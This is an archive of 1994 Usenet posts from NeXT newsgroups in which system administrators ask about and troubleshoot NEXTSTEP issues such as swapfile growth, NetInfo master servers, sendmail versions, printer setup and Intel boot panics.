=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: juliana@semlab1.sbs.sunysb.edu (Juliana L. Silva)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: swapfile keeps growing ....
Date: 14 Mar 1994 18:55:06 GMT
Organization: Institute For Theoretical Physics
Message-ID: <2m2bua$1kj@ysics.physics.sunysb.edu>
I noticed my system (486/66) was getting slower and the available
diskspace was "disppearing". When I checked the swapfile, it was
more than 100MB long. I left the system up a couple more days to
see what would happen. Well, the swapfile kept growing, my hard drive
ended up full and I had to reboot the machine.
Has anyone experienced that?
Juliana Freire
juliana@cs.sunysb.edu
juliana@semlab1.sbs.sunysb.edu (<---NeXT mail ok)
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Message-ID: <CMo56B.2sH@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <2m0bhv$qpp@sgate.com> <2m0irq$38j@agate.berkeley.edu>
Date: Mon, 14 Mar 1994 19:08:35 GMT
In article <2m0irq$38j@agate.berkeley.edu>,
Izumi Ohzawa <izumi@pinoko.berkeley.edu> wrote:
>
>It would be nice if login_accounting actually logged non-local WindowServer
>connections and connection attempts.
Agreed. It'd also be nice if the 'lockout' option would give you
three tries before moving to huge intervals between login attempts.
-rob
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 14 Mar 1994 14:22:36 -0500
Organization: Next Announcements
Message-ID: <2m2dhs$9uq@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop))
Subject: Re: Exporting a NeXT Laser to the net
Message-ID: <CMo47o.sM@dvorak.amd.com>
Sender: news@dvorak.amd.com (Usenet News)
Organization: Advanced Micro Devices, Austin TX
Distribution: usa
Date: Mon, 14 Mar 1994 18:47:47 GMT
Thanks for all the responses. My real problem lies in convincing the HP
sysadmins to set up their side.
Again, thanks
--
Ronald Pomeroy
Advanced Micro Devices
CAM Applications Group
rpomeroy@aunext1.amd.com
From: akonstan@math.macalstr.edu (Alexander Konstantinou)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: sendmail problem (again)
Date: 14 Mar 1994 18:58:53 GMT
Organization: Macalester College, Department of Computer Science
Distribution: world
Message-ID: <2m2c5d$me@mckinley.cit.macalstr.edu>
References: <2m1n1t$844@enst.enst.fr> <2m27jm$duq@agate.berkeley.edu>
Izumi Ohzawa (izumi@pinoko.berkeley.edu) wrote:
: You can get sendmail 8.6.5 or 8.6.6beta from ftp.cs.berkeley.edu
: in directory /ucb. It is already configred for NeXT.
: 8.6.5 must be compiled without the -O compiler flag.
: 8.6.6beta## will work just fine with the optimization using
: Makefile.nxt.
: <other stuff deleted>
If you are installing sendmail 8.6.5 you probably want to get the latest
version which is 8.6.7 (version 8.6.6 survived an hour before a new
security hole was discovered). The sendmail saga goes on ...
--
Alexander V. Konstantinou akonstan@math.macalstr.edu (NeXTMail OK)
From: anderson@macc.wisc.edu (Jess Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Logout-Panel
Date: 14 Mar 1994 20:07:14 GMT
Organization: Division of Information Technology, UW-Madison
Message-ID: <2m2g5i$omt@news.doit.wisc.edu>
References: <2m22ig$ksc@winx03.informatik.uni-wuerzburg.de>
In article <2m22ig$ksc@winx03.informatik.uni-wuerzburg.de>,
Klemens Seubert <seubert@cip.mathematik.uni-wuerzburg.de> wrote:
>is it possible to keep the confirmation-panels from appearing at
>logout or when pressing the power key?
From the depart of hare-brained suggestions: you could,
natuerlich, replace the tiffs with transparent tiff;
they'd still be there, but you wouldn't see them. You
would still need the confirming keypress, too.
--
[Jess Anderson % anderson@doit.wisc.edu % Network Engineering Technology Group]
[Systems Engineering Dept % Div of Information Technology % Univ of Wisconsin]
[Room 3130 % 1210 West Dayton Street % Madison WI 53706 % Phone 608/262-5888]
[--------------> The cruelest lies are often told in silence. <---------------]
From: wolf@lanl.gov (David R Wolf)
Newsgroups: comp.sys.next.sysadmin
Subject: talk
Date: 14 Mar 1994 21:09:18 GMT
Organization: Los Alamos National Laboratory
Distribution: world
Message-ID: <2m2jpu$2d3@newshost.lanl.gov>
what is the proper way to enable the "talk" feature for the next.
when i reply to a talk message i get:
"[Couldn't bind to control socket : Can't assign requested address (49)"
also, is there a next interface for talk available?
--
=======================================================================
David R. Wolf wolf@lanl.gov LANL, MS P940, 87545 (505) 667-3813
=======================================================================
From: rob-n@clark.net (Rob Newberry)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT as gateway/router/server
Date: 14 Mar 1994 22:09:20 GMT
Organization: Clark Internet Services, Inc., Ellicott City, MD USA
Message-ID: <2m2nag$255@clarknet.clark.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Hello
I am considering using NeXT on one of our machines. This machine
acts has an ethernet connector and a high speed modem, and acts
as a gateway to the internet for us. It also must be a name
server. It must share a printer via "lpd" and must share files
via "nfs". Currently, I am running Linux on it, and it does
all these things, although it sometimes take a lot of coaxing.
Since I like NeXT's interface better, I would appreciate anyone's
info on:
1) Using a NeXT machine as a gateway (how well does NeXT support
routing and SLIP/CSLIP/PPP)
2) NeXT as a file server
3) NeXT as a print server
4) NeXT as a general UNIX server machine (pop3, named, nntpd, etc)
Thanks for any help.
Rob Newberry
rob-n@clark.net
Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: Re: Networking Two NeXTs together - The Answer
Message-ID: <espritCMorJp.MEq@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 15 Mar 1994 03:11:49 GMT
A couple of days ago I posted a query for help in connecting my Cube
and my Slab via Thin-net. A number of people responded and were very
helpful and I appreciate it all.
Well, thanks to one person in particular, I found out that I should
have been using 50 ohm terminators instead of the 75 ohm that someone
else told me to get. Now the network works fine and I concentrate on
finding more memory.
Thanks again,
--
----------------------------+-----------------------------------------------
Alan F. Perry | Life is short, but by achieving greater speeds
alanp@eng.sun.com (work) | a man can make his life a little longer and
esprit@netcom.com (home) | more affluent - Soichiro Honda
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Logout-Panel
In-Reply-To: seubert@cip.mathematik.uni-wuerzburg.de's message of 14 Mar 1994 16:15:12 GMT
To: seubert@cip.mathematik.uni-wuerzburg.de (Klemens Seubert)
Message-ID: <CEDMAN.94Mar14170341@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <2m22ig$ksc@winx03.informatik.uni-wuerzburg.de>
Date: Mon, 14 Mar 1994 22:03:40 GMT
In article <2m22ig$ksc@winx03.informatik.uni-wuerzburg.de> seubert@cip.mathematik.uni-wuerzburg.de (Klemens Seubert) writes:
is it possible to keep the confirmation-panels from appearing at
logout or when pressing the power key?
Yes, you can get rid of the confirmation panel when pressing the power
key (but not when doing a normal workspace logout) with this:
dwrite Workspace BypassPowerOffConfirm YES
Of course if you had read and remembered all the posts I've made over
the past decade you'd know better than to ask silly questions like
this.
Carl Edman
From: scott@nic.gac.edu (Scott Hess)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Timeouts with connect(2) on NS/FIP.
Date: 14 Mar 94 17:38:13
Organization: Is a sign of weakness
Distribution: world
Message-ID: <SCOTT.94Mar14173813@nic.gac.edu>
[This posting is a desperation move. I've really stymied -scott]
For a program I've written for a client, I need to run my own TCP
connection to a host. So, I pulled out some code I've used in the
past, hacked it a bit to bring it more up-to-date and flexible, and
used it in the program. I've been using this code for more than a
year, now, under both NS2.1 and NS3.[012], all for Motorola. It's
been working just fine (ok, I'll be very precise - the _socket_ code's
been working fine. Other code hasn't worked so well :-). Total, the
code's been in use for more than two years, with slight changes as
noted above.
Unfortunately, it's not been working on NS-Intel for some reason that
I cannot determine. What happens is that everything works right up to
where I call connect(2) to bind the successfully opened socket to an
address. The connect() call hangs, and eventually exits with
ETIMEDOUT.
While attempting to track the problem down, I've built two mini
versions of the program, one which just calls the same sequence of
networking code, and another which uses the actual objects, and both
connect without a problem. The next step will be to come from the
other direction, starting with the actual application and paring off
elements until I find one that affects things. Unfortunately, this is
a very inefficient means of debugging, and so I ask ...
Has anyone out there had problems with using TCP sockets in
conjunction with a NeXTSTEP GUI application, and if so, do you have
any ideas?
Thanks,
--
scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it>
Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208
Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332
<I hate when something I've never heard of is called "The world famous ...">
Newsgroups: comp.sys.next.sysadmin
From: shay@netcom.com (Christian Shay)
Subject: Help! Need some beginner install tips!
Message-ID: <shayCMouo8.6B3@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 15 Mar 1994 04:19:18 GMT
Anyone know anything about the "Dell OmniPlex 566", and specifically how
NeXTStep might take to making itself at home in that configuration?
Well, I recently have gotten a chance to install NextStep on a friends
Pentium. I hope we can make it work, but the closest thing I saw to it
in the Nextanswers list was "Dell OptiPlex".
Anyway, I have tried to install on the thing but it claims not to be able to
see the CD-ROM, asks me to specify the "root device" and then panics and
forces a reboot if I type anything in.....
Anyone have any ideas, or know anything about this particular Dell?
Thanks for helping a rank novice,
Christian
shay@netcom.com
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: writing on full disk. Bug or Feature?
Followup-To: comp.sys.next.programmer
Date: 15 Mar 1994 05:40:07 GMT
Organization: San Francisco State University
Message-ID: <2m3hnn$cpf@nic-nac.CSU.net>
References: <2780@nikhefh.nikhef.nl>
In article <2780@nikhefh.nikhef.nl> t68@nikhef.nl
(Jos Vermaseren) writes:
>The write statement simply does not return and waits for more space to
>become available.
It also writes a message to the process' controlling terminal.
>If this is a bug, it would be quite nice to have it repaired in the next
>release.
It is most definitely NOT a bug.
> If it is a feature it would at least be nice to know what train
>of thought led to it.
This really deserves a long explanation, but I don't feel up to
it right now. In practice, this behavior is The Right Thing
*most* of the time. Obviously, there are a few applications
that depend on traditional UNIX semantics; that's still possible
using a secret undocumented system call that looks something
like
#ifdef NeXT
rpause(URPS_NFILE|URPS_NOSPC|020, RPAUSE_ALL, RPAUSE_DISABLE);
#endif
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: Newsgrazer spontaneously terminating
Message-ID: <1994Mar14.181314.1533@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <2lne2k$c0u@netnews.upenn.edu>
Date: Mon, 14 Mar 1994 18:13:14 GMT
In article <2lne2k$c0u@netnews.upenn.edu> anstine@uniblab.sas.upenn.edu
writes:
> In article <2ln9oo$9gp@news.duke.edu> bob@stirling.egr.duke.edu (Robert
> R. Reynolds) writes:
> >I have been running Newsgrazer V72.3 for over a year and
> >on NS 3.2 for a few months with almost no problems.
> >
> >Suddenly it simply terminates after 20-60 seconds every time
> >it launches. Has anyone else experienced this problem?
> >
> >I'd appreciate suggestions.
>
> I'm experiencing the same. No solution yet.
>
Most likely the active file is broken (NG is a bit choosey on the files he
reads).
On C-News run (/usr/lib/newsbin/expire/)upact and recovact to fix the
active file. No knowledge about other news systems, sorry!
If this behaviour is seen upon opening of a specific news group, a invalid
news header was seen by NG (most likely a "X-Ref:" header line at the top
of the article). You can fix this by manually scanning and removing the
incriminated lines or by manually increasing the read mark for the group
in ~/.newsrc.
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-76703 Kraichtal | Fax : +49 7251 69215 # delight of being hooked
GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
From: beckers@spin.NOT.SET (Becki Kain)
Newsgroups: comp.sys.next.sysadmin
Subject: vt102 emulator
Date: 15 Mar 1994 13:35:01 GMT
Organization: OrgFreeware
Sender: beckers@spin (Becki Kain)
Distribution: world
Message-ID: <2m4di6$8eh@ef2007.efhd.ford.com>
folks:
is there a vt102 emulator available for 3.0?
thanks
beckers
From: jr@sade.ka.sub.org (Jochen Richter)
Newsgroups: comp.sys.next.sysadmin
Subject: Root access from a non-NeXT remote host
Date: 15 Mar 1994 09:49:01 GMT
Organization: The Home Of The Pilhuhn
Message-ID: <2m40ad$3gu@pilhuhn.pilhuhn.sub.org>
I try to get root access from a HP-UX machine on my NeXT. Without success. Even
after modifying /etc/hosts.equiv and /.rhosts. I am especially trying to
perform a rdump from the HP to the DAT attached to my NeXT.
Any help very much appreciated.
--
Jochen Richter Phone: +49-721-696922
Zahringerstrasse 57 Fax: +49-721-696988
D-76133 Karlsruhe e-mail: jr@sade.ka.sub.org
Germany jr@resy2.kfk.de (>50K)
From: robert@amo.mit.edu(Robert Lutwak)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Date: 15 Mar 1994 14:11:41 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2m4fmt$scf@senator-bedfellow.MIT.EDU>
References: <CMo56B.2sH@usenet.ucs.indiana.edu>
> In article <2m0irq$38j@agate.berkeley.edu>,
> Izumi Ohzawa <izumi@pinoko.berkeley.edu> wrote:
> >
> >It would be nice if login_accounting actually logged non-local WindowServer
> >connections and connection attempts.
All of My problems could be solved if we could just only allow -NXHost on the
local domain. We only use it to run NSM Apps from NSI machines.
--
Robert Lutwak robert@amo.mit.edu
MIT Atomic Resonance and Spectroscopy Laboratory
--- Everything I say via this computer belongs to MIT. ---
---> NeXTmail always welcome <---
Newsgroups: comp.sys.next.sysadmin
From: nsayer@quack.kfu.com (Nick Sayer)
Subject: Some NeXTs use netinfo root pw, some don't?
Message-ID: <geDQqPY@quack.kfu.com>
Sender: news@quack.kfu.com (0000-News(0000))
Organization: The Duck Pond public unix: +1 408 249 9630, log in as 'guest'.
Date: 15 Mar 1994 16:50:02 UTC
I am running a network of NeXTs. A (trivial) password map
is in the netinfo domain and a +: is in all of the /etc/passwd
files and all are running NIS (nei YP). The NIS passwd map
does not have a root password entry (it has a uid=0 entry,
but it's username is not 'root', and it is included merely
as a workaround for this current problem). Some NeXT stations
seem to be using the NetInfo root entry password and some
are using something else I can't determine. Is there some
setting in a configuration file/map for a particular NeXT
that instructs it to use something other than NetInfo for
the root password?
--
Nick Sayer <nsayer@quack.kfu.com> | "Oh no! I know what YOU want!
N6QQQ @ N0ARY.#NOCAL.CA.USA.NOAM | You coveteth my ice-cream bar!"
+1 408 249 9630, log in as 'guest' |
PGP 2.2 key and geek code via finger | -- Captain Hoek
Newsgroups: comp.sys.next.sysadmin
From: nsayer@quack.kfu.com (Nick Sayer)
Subject: Changing NetInfo master server?
Message-ID: <geDQyQU@quack.kfu.com>
Sender: news@quack.kfu.com (0000-News(0000))
Organization: The Duck Pond public unix: +1 408 249 9630, log in as 'guest'.
Date: 15 Mar 1994 16:51:35 UTC
I currently have one NeXT that is the master NetInfo server, and
one is setup as a clone server. How can I reverse that so that
the master becomes the clone and vice-versa while preserving
the contents of the database?
--
Nick Sayer <nsayer@quack.kfu.com> | "Dear Sexy Knickers. I don't half fancy
N6QQQ @ N0ARY.#NOCAL.CA.USA.NOAM | you. Meet me at the lift at 5:30 and
+1 408 249 9630, log in as 'guest' | we'll get it together."
PGP 2.2 key and geek code via finger | -- Mr. Lucas
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Changing NetInfo master server?
Message-ID: <CMq383.4A6@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <geDQyQU@quack.kfu.com>
Date: Tue, 15 Mar 1994 20:21:38 GMT
In article <geDQyQU@quack.kfu.com>, Nick Sayer <nsayer@quack.kfu.com> wrote:
>I currently have one NeXT that is the master NetInfo server, and
>one is setup as a clone server. How can I reverse that so that
>the master becomes the clone and vice-versa while preserving
>the contents of the database?
This is basically what you want. Standard disclaimers apply.
-rob
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Changing your NetInfo Server's IP address.
First make a backups up pertinant files:
cp -rp /etc/netinfo /etc/netinfo.BAK
cp -p /etc/hostconfig /etc/hostconfig.BAK
Power down all of your NetInfo clients.
On the server, make sure there is no reference to the ip addr in the
local domain:
nidump hosts . |fgrep <hostname>
If the machine name and its ip addr is echoed to the screen be sure to
take it out using NetInfoManager.app located in /NextAdmin (or
HostManager.app). Use HostManager.app to make sure the new NetInfo
server is already in netinfo with a hostname and IP address. This
machine should also not be in the current server's local domain.
On the Server, fire up NetInfoManager.app.
Open the / domain. Go the the 'machines' directory. Find the entry
for the soon to be NetInfo server. Double click on it. It should
already have a property called 'serves' with the value './local' or
'<hostname>/local'. Add another value, './network'.
Now find the current Netinfo server's "machines" entry and remove the
./network value in the 'serves' property.
Double click on the topmost "/" in the / domain. You will see
a property called "master".
<hostname>/network
Change the value of <hostname> to be your new hostname.
I think that's it, but this is just off the top of my head, so no
promises. I imagine you'll need to remove the property serves
property in the old NetInfo server too.
-rob
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From: laurent@caladan.fdn.org (Laurent LECHELLE)
Subject: Upgrade 3.2, NeXT printer does not start
Message-ID: <1994Mar15.201510.657@caladan.fdn.org>
Sender: laurent@caladan.fdn.org
Organization: No really organized
Date: Tue, 15 Mar 1994 20:15:10 GMT
I've just upgraded to 3.2 for Black Hardware and my NeXT printer
does not start when I bott my machine, or when I use PrintManager.
What happens ?
I remember that this question has already been raised, but I don't
remember the solution.
Thanks for your help !
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Changing NetInfo master server?
Message-ID: <1994Mar15.201238.7389@seer.demon.co.uk>
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References: <geDQyQU@quack.kfu.com>
Date: Tue, 15 Mar 1994 20:12:38 GMT
In article <geDQyQU@quack.kfu.com> nsayer@quack.kfu.com (Nick Sayer)
writes:
> I currently have one NeXT that is the master NetInfo server, and
> one is setup as a clone server. How can I reverse that so that
> the master becomes the clone and vice-versa while preserving
> the contents of the database?
You can either swap the names and IP addresses between the two hosts, or
you will have to update the master property for the database.
It is only the master property (of the / directory) that indicates which
server is the master. All other machines serving that database (as
indicated by the machines/serves properties) are automatically clones.
There are no other differences.
Paul
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: vt102 emulator
Message-ID: <1994Mar15.201545.7457@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2m4di6$8eh@ef2007.efhd.ford.com>
Date: Tue, 15 Mar 1994 20:15:45 GMT
In article <2m4di6$8eh@ef2007.efhd.ford.com> beckers@spin.NOT.SET (Becki
Kain) writes:
>
> folks:
>
> is there a vt102 emulator available for 3.0?
You mean apart from Terminal and Stuart? If your emulation needs are
pretty simple, then they are good. If you have a requirement for a more
exact emulation, then get Cables from Yrrid (info@yrrid.com).
Paul
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From: sjs@ulysses.att.com (Steve Silverman[smb] MT 3F-114)
Subject: tcpdump
Message-ID: <1994Mar15.161917.9493@ulysses.att.com>
Sender: sjs@ulysses (Steve Silverman[smb] MT 3F-114)
Date: Tue, 15 Mar 1994 16:19:17 GMT
Organization: AT&T Bell Laboratories
Keywords: network monitoring
Anyone running tcpdump on Next? I would like to install it and am wondering
if there are any/many problems?
Thanks
steve silverman
sjs@mtketc1.att.com
From: rob-n@clark.net (Rob Newberry)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: SLIP/PPP and NeXT
Date: 15 Mar 1994 21:47:25 GMT
Organization: Clark Internet Services, Inc., Ellicott City, MD USA
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Content-Transfer-Encoding: 7bit
I am thinking of installing a NeXT system to act as a gateway to
the internet for our LAN. Currently the system runs DIP under
Linux for this job, but I think NeXT's interface has more
neato things. I would be interested in anyone's experiences
with any SLIP/PPP packages. I've got info from MorningStar,
but it's pretty expensive and does more than I need. Has
anyone used anything else with success?
Rob Newberry
rob-n@clark.net
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From: dal@netcom.com (Dana Andre Letendre)
Subject: Multiple Modems on NextStation
Message-ID: <dalCMq0Kz.8Lu@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 15 Mar 1994 19:24:34 GMT
Does anyone know how to connect more than two modems to a NextStation?
What type of hardware is req'd?
Thanks.
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Here's an odd one (getpwent)
Message-ID: <CMqCHH.LHt@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Tue, 15 Mar 1994 23:41:40 GMT
I recently moved several people from a local domain to the network
level in a two level netinfo setup.
Now here's the odd part. When I do a 'getpwnam' on a user, it's still
getting information from the local database --kind of. If I look,
they indeed aren't in the local database. But somewhere this
information got cached, I guess. I've done an endpwent but no help.
I can tell that it isn't working from the following:
foo# nidump passwd .|fgrep test
foo# nidump passwd / | fgrep test
test:<deleted>:13831:20:test:/Users/u2/test:/bin/csh
foo# gpwn test /* a simple routine that calls getpwnam */
test,*,13831,20,0,,test,/Users/u2/test,/bin/csh
Notice how the call to gpwn returned a passwd of '*', which is what
the local accounts used to have. Now I can't get it to realize that
the local passwd database has changed and it should re-read it.
Anyone run into this before?
-rob
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From: kykim@access1.digex.net (Kevin Yungsun Kim)
Newsgroups: comp.sys.next.sysadmin
Subject: NextStep(3.2)/Intel won't boot
Date: 15 Mar 1994 19:10:06 -0500
Organization: Express Access Online Communications, Greenbelt, MD USA
Message-ID: <kykim.763776152@access1>
I hope someone can help.
I have NeXTstep 3.2 installed on an Intel pentium tower(EISA bus).
The SCSI controller is a DPT PM2022A, the video is an ATI mach32.
There is no IDE harddrive. Everything boots off the SCSI harddisk
(a 1.1 gig maxtor).
Right now, the machine boots with Dos/Windows just fine.
When I try to boot with NeXTstep, I get problems.
If I boot with my own config, I eventually get the message:
panic: (Cpu 0) vfs_mountroot: cannot mount root
if I boot with "config=Default", the message I get is
panic: (Cpu 0) ide:ideReset Failure
if i try booting by specifiying "sd(0)mach_kernel", the machine
reboots. same if I type "sd(0)mach_kernel -s"
Anyone have any clues how I can get this boot?
Thanks,
-kevin
kykim@access.digex.net
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Upgrade 3.2, NeXT printer does not start
Message-ID: <CMqD9I.n2y@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1994Mar15.201510.657@caladan.fdn.org>
Date: Tue, 15 Mar 1994 23:58:30 GMT
In article <1994Mar15.201510.657@caladan.fdn.org>,
Laurent LECHELLE <laurent@caladan.fdn.org> wrote:
>
>
>I've just upgraded to 3.2 for Black Hardware and my NeXT printer
>does not start when I bott my machine, or when I use PrintManager.
>
>What happens ?
I'm not sure what you mean by "Does not start". In 3.x, NextStep deal
with local printers differently. There are new properties called
Admin and Device. The easiest way to fix this is to just remove
the Local_Printer entry in netinfo and then reboot. It'll build
a new (updated) one for you.
-rob
